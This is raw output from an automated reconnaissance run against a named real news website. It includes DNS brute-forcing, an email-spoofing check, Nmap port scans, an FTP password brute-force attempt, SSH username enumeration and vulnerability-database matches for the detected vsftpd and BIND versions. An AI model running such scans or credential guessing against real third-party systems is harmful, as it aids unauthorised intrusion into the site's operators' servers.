6815Finished total: 1918, success: 1918 (100.00%)
6816Mismatched domains: 335 (11.00%), IDs: 0 (0.00%)
6817Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.05%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6818Response: | Success: | Total:
6819OK: | 167 ( 8.71%) | 189 ( 6.21%)
6820NXDOMAIN: | 1670 ( 87.07%) | 1878 ( 61.67%)
6821SERVFAIL: | 81 ( 4.22%) | 111 ( 3.65%)
6822REFUSED: | 0 ( 0.00%) | 867 ( 28.47%)
6823FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6824
6825
6826
6827Processed queries: 1919
6828Received packets: 3073
6829Progress: 100.00% (00 h 00 min 24 sec / 00 h 00 min 24 sec)
6830Current incoming rate: 0 pps, average: 127 pps
6831Current success rate: 0 pps, average: 79 pps
6832Finished total: 1918, success: 1918 (100.00%)
6833Mismatched domains: 336 (11.03%), IDs: 0 (0.00%)
6834Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.05%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6835Response: | Success: | Total:
6836OK: | 167 ( 8.71%) | 189 ( 6.20%)
6837NXDOMAIN: | 1670 ( 87.07%) | 1878 ( 61.65%)
6838SERVFAIL: | 81 ( 4.22%) | 111 ( 3.64%)
6839REFUSED: | 0 ( 0.00%) | 868 ( 28.50%)
6840FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6841
6842
6843
6844Processed queries: 1919
6845Received packets: 3074
6846Progress: 100.00% (00 h 00 min 25 sec / 00 h 00 min 25 sec)
6847Current incoming rate: 0 pps, average: 122 pps
6848Current success rate: 0 pps, average: 76 pps
6849Finished total: 1918, success: 1918 (100.00%)
6850Mismatched domains: 337 (11.06%), IDs: 0 (0.00%)
6851Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.05%, 50: 0.00%,
6852Response: | Success: | Total:
6853OK: | 167 ( 8.71%) | 189 ( 6.20%)
6854NXDOMAIN: | 1670 ( 87.07%) | 1878 ( 61.63%)
6855SERVFAIL: | 81 ( 4.22%) | 111 ( 3.64%)
6856REFUSED: | 0 ( 0.00%) | 869 ( 28.52%)
6857FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6858
6859
6860
6861Processed queries: 1919
6862Received packets: 3074
6863Progress: 100.00% (00 h 00 min 25 sec / 00 h 00 min 25 sec)
6864Current incoming rate: 0 pps, average: 122 pps
6865Current success rate: 0 pps, average: 76 pps
6866Finished total: 1919, success: 1918 (99.95%)
6867Mismatched domains: 337 (11.06%), IDs: 0 (0.00%)
6868Failures: 0: 31.11%, 1: 30.95%, 2: 16.15%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.05%,
6869Response: | Success: | Total:
6870OK: | 167 ( 8.71%) | 189 ( 6.20%)
6871NXDOMAIN: | 1670 ( 87.07%) | 1878 ( 61.63%)
6872SERVFAIL: | 81 ( 4.22%) | 111 ( 3.64%)
6873REFUSED: | 0 ( 0.00%) | 869 ( 28.52%)
6874FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6875www.alalamtv.net
6876192.99.38.90
6877######################################################################################################################################
6878[+] www.alalamtv.net has no SPF record!
6879[*] No DMARC record found. Looking for organizational record
6880[+] No organizational DMARC record
6881[+] Spoofing possible for www.alalamtv.net!
6882######################################################################################################################################
6883WARNING: Duplicate port number(s) specified. Are you alert enough to be using Nmap? Have some coffee or Jolt(tm).
6884Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 22:24 EST
6885Nmap scan report for www.alalamtv.net (192.99.38.90)
6886Host is up (0.075s latency).
6887rDNS record for 192.99.38.90: ns502056.ip-192-99-38.net
6888Not shown: 419 closed ports, 71 filtered ports
6889Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
6890PORT STATE SERVICE
689121/tcp open ftp
689222/tcp open ssh
689353/tcp open domain
689480/tcp open http
6895443/tcp open https
68968080/tcp open http-proxy
6897
6898Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds
6899######################################################################################################################################
6900Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 22:24 EST
6901Nmap scan report for www.alalamtv.net (192.99.38.90)
6902Host is up (0.056s latency).
6903rDNS record for 192.99.38.90: ns502056.ip-192-99-38.net
6904Not shown: 10 closed ports, 2 filtered ports
6905PORT STATE SERVICE
690653/udp open domain
690788/udp open|filtered kerberos-sec
6908123/udp open ntp
6909
6910Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds
6911#######################################################################################################################################
6912Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 22:24 EST
6913NSE: [ftp-brute] usernames: Time limit 10m00s exceeded.
6914NSE: [ftp-brute] usernames: Time limit 10m00s exceeded.
6915NSE: [ftp-brute] passwords: Time limit 10m00s exceeded.
6916Nmap scan report for www.alalamtv.net (192.99.38.90)
6917Host is up (0.11s latency).
6918rDNS record for 192.99.38.90: ns502056.ip-192-99-38.net
6919
6920PORT STATE SERVICE VERSION
692121/tcp open ftp vsftpd 3.0.2
6922| ftp-brute:
6923| Accounts: No valid accounts found
6924|_ Statistics: Performed 3624 guesses in 601 seconds, average tps: 5.7
6925| vulscan: VulDB - https://vuldb.com:
6926| [68991] vsftpd 3.0.2 deny_file unknown vulnerability
6927|
6928| MITRE CVE - https://cve.mitre.org:
6929| [CVE-2012-2127] fs/proc/root.c in the procfs implementation in the Linux kernel before 3.2 does not properly interact with CLONE_NEWPID clone system calls, which allows remote attackers to cause a denial of service (reference leak and memory consumption) by making many connections to a daemon that uses PID namespaces to isolate clients, as demonstrated by vsftpd.
6930| [CVE-2008-2375] Memory leak in a certain Red Hat deployment of vsftpd before 2.0.5 on Red Hat Enterprise Linux (RHEL) 3 and 4, when PAM is used, allows remote attackers to cause a denial of service (memory consumption) via a large number of invalid authentication attempts within the same session, a different vulnerability than CVE-2007-5962.
6931|
6932| SecurityFocus - https://www.securityfocus.com/bid/:
6933| [82285] Vsftpd CVE-2004-0042 Remote Security Vulnerability
6934| [72451] vsftpd CVE-2015-1419 Security Bypass Vulnerability
6935| [51013] vsftpd '__tzfile_read()' Function Heap Based Buffer Overflow Vulnerability
6936| [48539] vsftpd Compromised Source Packages Backdoor Vulnerability
6937| [46617] vsftpd FTP Server 'ls.c' Remote Denial of Service Vulnerability
6938| [41443] Vsftpd Webmin Module Multiple Unspecified Vulnerabilities
6939| [30364] vsftpd FTP Server Pluggable Authentication Module (PAM) Remote Denial of Service Vulnerability
6940| [29322] vsftpd FTP Server 'deny_file' Option Remote Denial of Service Vulnerability
6941| [10394] Vsftpd Listener Denial of Service Vulnerability
6942| [7253] Red Hat Linux 9 vsftpd Compiling Error Weakness
6943|
6944| IBM X-Force - https://exchange.xforce.ibmcloud.com:
6945| [68366] vsftpd package backdoor
6946| [65873] vsftpd vsf_filename_passes_filter denial of service
6947| [55148] VSFTPD-WEBMIN-MODULE unknown unspecified
6948| [43685] vsftpd authentication attempts denial of service
6949| [42593] vsftpd deny_file denial of service
6950| [16222] vsftpd connection denial of service
6951| [14844] vsftpd message allows attacker to obtain username
6952| [11729] Red Hat Linux vsftpd FTP daemon tcp_wrapper could allow an attacker to gain access to server
6953|
6954| Exploit-DB - https://www.exploit-db.com:
6955| [17491] VSFTPD 2.3.4 - Backdoor Command Execution
6956| [16270] vsftpd 2.3.2 - Denial of Service Vulnerability
6957| [5814] vsftpd 2.0.5 (CWD) Remote Memory Consumption Exploit (post auth)
6958|
6959| OpenVAS (Nessus) - http://www.openvas.org:
6960| [881289] CentOS Update for vsftpd CESA-2011:0337 centos5 x86_64
6961| [880533] CentOS Update for vsftpd CESA-2011:0337 centos5 i386
6962| [880479] CentOS Update for vsftpd CESA-2011:0337 centos4 i386
6963| [880293] CentOS Update for vsftpd CESA-2008:0579 centos3 i386
6964| [880025] CentOS Update for vsftpd CESA-2008:0579 centos3 x86_64
6965| [870407] RedHat Update for vsftpd RHSA-2011:0337-01
6966| [870152] RedHat Update for vsftpd RHSA-2008:0680-01
6967| [870114] RedHat Update for vsftpd RHSA-2008:0295-01
6968| [870032] RedHat Update for vsftpd RHSA-2008:0579-01
6969| [862926] Fedora Update for vsftpd FEDORA-2011-2615
6970| [862925] Fedora Update for vsftpd FEDORA-2011-2590
6971| [860821] Fedora Update for vsftpd FEDORA-2008-4347
6972| [860676] Fedora Update for vsftpd FEDORA-2008-4373
6973| [860005] Fedora Update for vsftpd FEDORA-2008-4362
6974| [840831] Ubuntu Update for vsftpd USN-1288-1
6975| [840623] Ubuntu Update for vsftpd vulnerability USN-1098-1
6976| [831351] Mandriva Update for vsftpd MDVSA-2011:049 (vsftpd)
6977| [103362] vsftpd '__tzfile_read()' Function Heap Based Buffer Overflow Vulnerability
6978| [103185] vsftpd Compromised Source Packages Backdoor Vulnerability
6979| [103101] vsftpd FTP Server 'ls.c' Remote Denial of Service Vulnerability
6980| [71966] Slackware Advisory SSA:2012-041-05 vsftpd
6981| [70770] Gentoo Security Advisory GLSA 201110-07 (vsftpd)
6982| [70399] Debian Security Advisory DSA 2305-1 (vsftpd)
6983| [65857] SLES10: Security update for vsftpd
6984| [65225] SLES9: Security update for vsftpd
6985|
6986| SecurityTracker - https://www.securitytracker.com:
6987| [1025186] vsftpd vsf_filename_passes_filter() Bug Lets Remote Authenticated Users Deny Service
6988| [1020546] vsftpd Memory Leak When Invalid Authentication Attempts Occur Lets Remote Authenticated Users Deny Service
6989| [1020079] vsftpd Memory Leak in 'deny_file' Option Lets Remote Authenticated Users Deny Service
6990| [1008628] vsftpd Discloses Whether Usernames are Valid or Not
6991|
6992| OSVDB - http://www.osvdb.org:
6993| [73573] vsftpd on vsftpd.beasts.org Trojaned Distribution
6994| [73340] vsftpd ls.c vsf_filename_passes_filter STAT Command glob Expression Remote DoS
6995| [61362] Vsftpd Webmin Module Unspecified Issues
6996| [46930] Red Hat Linux vsftpd w/ PAM Memory Exhaustion Remote DoS
6997| [45626] vsftpd deny_file Option Crafted FTP Data Remote Memory Exhaustion DoS
6998| [36515] BlockHosts sshd/vsftpd hosts.allow Arbitrary Deny Entry Manipulation
6999| [28610] vsftpd SIGURG Handler Unspecified Issue
7000| [28609] vsftpd tunable_chroot_local_user Filesystem Root Access
7001| [6861] vsftpd Login Error Message Username Enumeration
7002| [6306] vsftpd Connection Handling DoS
7003| [4564] vsftpd on Red Hat Linux Restricted Access Failure
7004|_
7005Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
7006Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 - 3.16 (92%)
7007No exact OS matches for host (test conditions non-ideal).
7008Network Distance: 9 hops
7009Service Info: OS: Unix
7010
7011TRACEROUTE (using port 21/tcp)
7012HOP RTT ADDRESS
70131 244.74 ms 10.244.204.1
70142 264.13 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
70153 264.16 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
70164 264.20 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
70175 ...
70186 303.70 ms bhs-g2-nc5.qc.ca (142.44.208.175)
70197 ...
70208 264.22 ms be50-7.bhs-3a-a9.qc.ca (198.27.73.94)
70219 205.93 ms ns502056.ip-192-99-38.net (192.99.38.90)
7022#######################################################################################################################################
7023USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
7024RHOSTS => www.alalamtv.net
7025RHOST => www.alalamtv.net
7026[*] 192.99.38.90:22 - SSH - Using malformed packet technique
7027[*] 192.99.38.90:22 - SSH - Starting scan
7028[-] 192.99.38.90:22 - SSH - User 'admin' not found
7029[-] 192.99.38.90:22 - SSH - User 'administrator' not found
7030[-] 192.99.38.90:22 - SSH - User 'anonymous' not found
7031[-] 192.99.38.90:22 - SSH - User 'backup' not found
7032[-] 192.99.38.90:22 - SSH - User 'bee' not found
7033[-] 192.99.38.90:22 - SSH - User 'ftp' not found
7034[-] 192.99.38.90:22 - SSH - User 'guest' not found
7035[-] 192.99.38.90:22 - SSH - User 'GUEST' not found
7036[-] 192.99.38.90:22 - SSH - User 'info' not found
7037[-] 192.99.38.90:22 - SSH - User 'mail' not found
7038[-] 192.99.38.90:22 - SSH - User 'mailadmin' not found
7039[-] 192.99.38.90:22 - SSH - User 'msfadmin' not found
7040[-] 192.99.38.90:22 - SSH - User 'mysql' not found
7041[-] 192.99.38.90:22 - SSH - User 'nobody' not found
7042[-] 192.99.38.90:22 - SSH - User 'oracle' not found
7043[-] 192.99.38.90:22 - SSH - User 'owaspbwa' not found
7044[-] 192.99.38.90:22 - SSH - User 'postfix' not found
7045[-] 192.99.38.90:22 - SSH - User 'postgres' not found
7046[-] 192.99.38.90:22 - SSH - User 'private' not found
7047[-] 192.99.38.90:22 - SSH - User 'proftpd' not found
7048[-] 192.99.38.90:22 - SSH - User 'public' not found
7049[-] 192.99.38.90:22 - SSH - User 'root' not found
7050[-] 192.99.38.90:22 - SSH - User 'superadmin' not found
7051[-] 192.99.38.90:22 - SSH - User 'support' not found
7052[-] 192.99.38.90:22 - SSH - User 'sys' not found
7053[-] 192.99.38.90:22 - SSH - User 'system' not found
7054[-] 192.99.38.90:22 - SSH - User 'systemadmin' not found
7055[-] 192.99.38.90:22 - SSH - User 'systemadministrator' not found
7056[-] 192.99.38.90:22 - SSH - User 'test' not found
7057[-] 192.99.38.90:22 - SSH - User 'tomcat' not found
7058[-] 192.99.38.90:22 - SSH - User 'user' not found
7059[-] 192.99.38.90:22 - SSH - User 'webmaster' not found
7060[-] 192.99.38.90:22 - SSH - User 'www-data' not found
7061[-] 192.99.38.90:22 - SSH - User 'Fortimanager_Access' not found
7062[*] Scanned 1 of 1 hosts (100% complete)
7063[*] Auxiliary module execution completed
7064######################################################################################################################################
7065Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 22:37 EST
7066Nmap scan report for www.alalamtv.net (192.99.38.90)
7067Host is up (0.042s latency).
7068rDNS record for 192.99.38.90: ns502056.ip-192-99-38.net
7069
7070PORT STATE SERVICE VERSION
707153/tcp open domain ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
7072|_dns-fuzz: Server didn't response to our probe, can't fuzz
7073| dns-nsec-enum:
7074|_ No NSEC records found
7075| dns-nsec3-enum:
7076|_ DNSSEC NSEC3 not supported
7077| dns-nsid:
7078|_ bind.version: 9.9.4-RedHat-9.9.4-61.el7_5.1
7079| vulners:
7080| cpe:/a:isc:bind:9.9.4:
7081| CVE-2015-4620 7.8 https://vulners.com/cve/CVE-2015-4620
7082| CVE-2014-8500 7.8 https://vulners.com/cve/CVE-2014-8500
7083| CVE-2017-3141 7.2 https://vulners.com/cve/CVE-2017-3141
7084| CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
7085| CVE-2013-6230 6.8 https://vulners.com/cve/CVE-2013-6230
7086| CVE-2015-1349 5.4 https://vulners.com/cve/CVE-2015-1349
7087| CVE-2018-5740 5.0 https://vulners.com/cve/CVE-2018-5740
7088| CVE-2017-3145 5.0 https://vulners.com/cve/CVE-2017-3145
7089| CVE-2016-9131 5.0 https://vulners.com/cve/CVE-2016-9131
7090| CVE-2016-8864 5.0 https://vulners.com/cve/CVE-2016-8864
7091| CVE-2016-1286 5.0 https://vulners.com/cve/CVE-2016-1286
7092| CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
7093| CVE-2019-6465 4.3 https://vulners.com/cve/CVE-2019-6465
7094| CVE-2018-5743 4.3 https://vulners.com/cve/CVE-2018-5743
7095| CVE-2018-5742 4.3 https://vulners.com/cve/CVE-2018-5742
7096| CVE-2017-3143 4.3 https://vulners.com/cve/CVE-2017-3143
7097| CVE-2017-3142 4.3 https://vulners.com/cve/CVE-2017-3142
7098| CVE-2017-3136 4.3 https://vulners.com/cve/CVE-2017-3136
7099| CVE-2016-2775 4.3 https://vulners.com/cve/CVE-2016-2775
7100| CVE-2016-1285 4.3 https://vulners.com/cve/CVE-2016-1285
7101| CVE-2018-5741 4.0 https://vulners.com/cve/CVE-2018-5741
7102| CVE-2016-6170 4.0 https://vulners.com/cve/CVE-2016-6170
7103| CVE-2018-5745 3.5 https://vulners.com/cve/CVE-2018-5745
7104|_ CVE-2014-0591 2.6 https://vulners.com/cve/CVE-2014-0591
7105| vulscan: VulDB - https://vuldb.com:
7106| [11804] ISC BIND up to 9.9.4 DNS Query bin/named/query.c query_findclosestnsec3 denial of service
7107| [11104] ISC BIND up to 9.9.4 WSAloctl Winsock API Bypass privilege escalation
7108| [9764] ISC BIND up to 9.9.4 RDATA rdata.c denial of service
7109| [119548] ISC BIND 9.9.12/9.10.7/9.11.3/9.12.1-P2 Recursion information disclosure
7110| [95202] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DNSSEC denial of service
7111| [95201] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DS Record Response denial of service
7112| [95200] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 ANY Query Response denial of service
7113| [89850] ISC BIND up to 9.9.9-P1/9.10.4-P1/9.11.0b1 Lightweight Resolution named.conf denial of service
7114| [81312] ISC BIND up to 9.9.8-P3/9.10.3-P3 named db.c/resolver.c Signature Record denial of service
7115| [81311] ISC BIND up to 9.9.8-P3/9.10.3-P3 named alist.c/sexpr.c denial of service
7116| [80787] ISC BIND up to 9.9.8-S4 Query rdataset.c denial of service
7117| [79802] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Socket Error resolver.c denial of service
7118| [79801] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Response db.c denial of service
7119| [76834] ISC BIND up to 9.9.7-P1/9.10.2-P2 TKEY Query Packet Crash denial of service
7120| [8108] ISC BIND up to 9.9.3 on Unix/Linux Regular Expression denial of service
7121| [7079] ISC BIND up to 9.9.1 DNS64 IPv6 Transition Mechanism denial of service
7122| [6295] ISC BIND up to 9.9.1-P2 Assertion Error Resource Record Parser RDATA Query denial of service
7123| [5875] ISC BIND 9.9.0/9.9.1 denial of service
7124| [5874] ISC BIND up to 9.9.1-P1 denial of service
7125| [5483] ISC BIND up to 9.9.1 DNS Resource Record information disclosure
7126|
7127| MITRE CVE - https://cve.mitre.org:
7128| [CVE-2013-4854] The RFC 5011 implementation in rdata.c in ISC BIND 9.7.x and 9.8.x before 9.8.5-P2, 9.8.6b1, 9.9.x before 9.9.3-P2, and 9.9.4b1, and DNSco BIND 9.9.3-S1 before 9.9.3-S1-P1 and 9.9.4-S1b1, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query with a malformed RDATA section that is not properly handled during construction of a log message, as exploited in the wild in July 2013.
7129| [CVE-2013-3919] resolver.c in ISC BIND 9.8.5 before 9.8.5-P1, 9.9.3 before 9.9.3-P1, and 9.6-ESV-R9 before 9.6-ESV-R9-P1, when a recursive resolver is configured, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a record in a malformed zone.
7130| [CVE-2013-2266] libdns in ISC BIND 9.7.x and 9.8.x before 9.8.4-P2, 9.8.5 before 9.8.5b2, 9.9.x before 9.9.2-P2, and 9.9.3 before 9.9.3b2 on UNIX platforms allows remote attackers to cause a denial of service (memory consumption) via a crafted regular expression, as demonstrated by a memory-exhaustion attack against a machine running a named process.
7131| [CVE-2012-5689] ISC BIND 9.8.x through 9.8.4-P1 and 9.9.x through 9.9.2-P1, in certain configurations involving DNS64 with a Response Policy Zone that lacks an AAAA rewrite rule, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for an AAAA record.
7132| [CVE-2012-5688] ISC BIND 9.8.x before 9.8.4-P1 and 9.9.x before 9.9.2-P1, when DNS64 is enabled, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via a crafted query.
7133| [CVE-2012-5166] ISC BIND 9.x before 9.7.6-P4, 9.8.x before 9.8.3-P4, 9.9.x before 9.9.1-P4, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P4 allows remote attackers to cause a denial of service (named daemon hang) via unspecified combinations of resource records.
7134| [CVE-2012-4244] ISC BIND 9.x before 9.7.6-P3, 9.8.x before 9.8.3-P3, 9.9.x before 9.9.1-P3, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P3 allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a long resource record.
7135| [CVE-2012-3868] Race condition in the ns_client structure management in ISC BIND 9.9.x before 9.9.1-P2 allows remote attackers to cause a denial of service (memory consumption or process exit) via a large volume of TCP queries.
7136| [CVE-2012-1667] ISC BIND 9.x before 9.7.6-P1, 9.8.x before 9.8.3-P1, 9.9.x before 9.9.1-P1, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P1 does not properly handle resource records with a zero-length RDATA section, which allows remote DNS servers to cause a denial of service (daemon crash or data corruption) or obtain sensitive information from process memory via a crafted record.
7137| [CVE-2011-4313] query.c in ISC BIND 9.0.x through 9.6.x, 9.4-ESV through 9.4-ESV-R5, 9.6-ESV through 9.6-ESV-R5, 9.7.0 through 9.7.4, 9.8.0 through 9.8.1, and 9.9.0a1 through 9.9.0b1 allows remote attackers to cause a denial of service (assertion failure and named exit) via unknown vectors related to recursive DNS queries, error logging, and the caching of an invalid record by the resolver.
7138| [CVE-2011-2465] Unspecified vulnerability in ISC BIND 9 9.8.0, 9.8.0-P1, 9.8.0-P2, and 9.8.1b1, when recursion is enabled and the Response Policy Zone (RPZ) contains DNAME or certain CNAME records, allows remote attackers to cause a denial of service (named daemon crash) via an unspecified query.
7139| [CVE-2011-2464] Unspecified vulnerability in ISC BIND 9 9.6.x before 9.6-ESV-R4-P3, 9.7.x before 9.7.3-P3, and 9.8.x before 9.8.0-P4 allows remote attackers to cause a denial of service (named daemon crash) via a crafted UPDATE request.
7140|
7141| SecurityFocus - https://www.securityfocus.com/bid/:
7142| [61774] ISC BIND 9 SRTT Algorithm Authoritative Server Selection Security Vulnerability
7143| [61479] ISC BIND 9 DNS RDATA Handling CVE-2013-4854 Remote Denial of Service Vulnerability
7144| [58736] ISC BIND 9 'libdns' Remote Denial of Service Vulnerability
7145| [57556] ISC BIND 9 DNS64 CVE-2012-5689 Remote Denial of Service Vulnerability
7146| [56817] ISC BIND 9 DNS64 Remote Denial of Service Vulnerability
7147| [55852] ISC BIND 9 DNS RDATA Handling CVE-2012-5166 Remote Denial of Service Vulnerability
7148| [55522] ISC BIND 9 DNS Resource Records Handling CVE-2012-4244 Remote Denial of Service Vulnerability
7149| [54659] ISC BIND 9 TCP Query Remote Denial of Service Vulnerability
7150| [54658] ISC BIND 9 DNSSEC Validation CVE-2012-3817 Denial of Service Vulnerability
7151| [53772] ISC BIND 9 DNS Resource Records Handling Remote Denial of Service Vulnerability
7152| [50690] ISC BIND 9 Recursive Queries Remote Denial of Service Vulnerability
7153| [48566] ISC BIND 9 Unspecified Packet Processing Remote Denial of Service Vulnerability
7154| [48565] ISC BIND 9 RPZ Configurations Remote Denial of Service Vulnerabilities
7155| [48007] ISC BIND 9 Large RRSIG RRsets Remote Denial of Service Vulnerability
7156| [47734] ISC BIND 9 RRSIG Query Type Remote Denial of Service Vulnerability
7157| [46491] ISC BIND 9 IXFR Transfer/DDNS Update Remote Denial of Service Vulnerability
7158| [45385] ISC BIND 9 DNSSEC Validation Remote Denial of Service Vulnerability
7159| [45133] ISC BIND 9 'RRSIG' Record Type Negative Cache Remote Denial of Service Vulnerability
7160| [41730] ISC BIND 9 'RRSIG' Record Type Remote Denial of Service Vulnerability
7161| [37865] ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Cache Poisoning Vulnerability
7162| [37118] ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability
7163| [35848] ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
7164| [25076] ISC BIND 9 Default ACL Settings Recursive Queries And Cached Content Security Bypass Vulnerability
7165| [25037] ISC BIND 9 Remote Cache Poisoning Vulnerability
7166| [4936] ISC BIND 9 Remote Denial Of Service Vulnerability
7167| [100656] Cisco ASR 920 Series Routers CVE-2017-6795 Local Arbitrary File Overwrite Vulnerability
7168| [97450] Cisco ASR 903 and ASR 920 Series CVE-2017-6603 Denial of Service Vulnerability
7169| [93415] Cisco Nexus 9000 Series Switches CVE-2016-1455 Remote Information Disclosure Vulnerability
7170| [82579] Cisco Nexus 9000 Series ACI Mode Switches CVE-2015-6398 Denial of Service Vulnerability
7171| [77686] Cisco Firepower 9000 Series CVE-2015-6380 Unspecified OS Command Injection Vulnerability
7172| [77635] Cisco Firepower 9000 Series CVE-2015-6371 Multiple Arbitrary File Read Vulnerabilities
7173| [77634] Cisco Firepower 9000 Series CVE-2015-6370 Local Command Injection Vulnerability
7174| [77633] Cisco Firepower 9000 Series Switches CVE-2015-6372 HTML Injection Vulnerability
7175| [77631] Cisco Firepower 9000 Series Switches CVE-2015-6374 Clickjacking Vulnerability
7176| [77629] Cisco Firepower 9000 Series CVE-2015-6369 Local Denial of Service Vulnerability
7177| [77628] Cisco Firepower 9000 CVE-2015-6373 Cross Site Request Forgery Vulnerability
7178| [77614] Cisco Firepower 9000 Series Switches CVE-2015-6368 Information Disclosure Vulnerability
7179| [76913] Cisco NX-OS Software for Nexus 9000 Series Switches CVE-2015-6308 Denial of Service Vulnerability
7180| [76791] Cisco ASR 9000 Series Aggregation Services Routers CVE-2015-6301 Denial of Service Vulnerability
7181| [76762] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-6295 Denial of Service Vulnerability
7182| [76329] Cisco Nexus 9000 Series Software CVE-2015-4301 Remote Denial of Service Vulnerability
7183| [76057] Cisco Firepower 9000 Series Devices CVE-2015-4287 Information Disclosure Vulnerability
7184| [75471] Cisco Unified IP Phones 9900 Series CVE-2015-4226 Denial of Service Vulnerability
7185| [75378] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-4213 Information Disclosure Vulnerability
7186| [74029] Cisco ASR 9000 Series Routers CVE-2015-0694 Remote Security Bypass Vulnerability
7187| [73895] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-0686 Denial of Service Vulnerability
7188| [73470] Cisco ASR 9000 Series Routers CVE-2015-0685 Denial of Service Vulnerability
7189| [73318] Cisco ASR 9000 Series Aggregation Services Routers CVE-2015-0672 Denial of Service Vulnerability
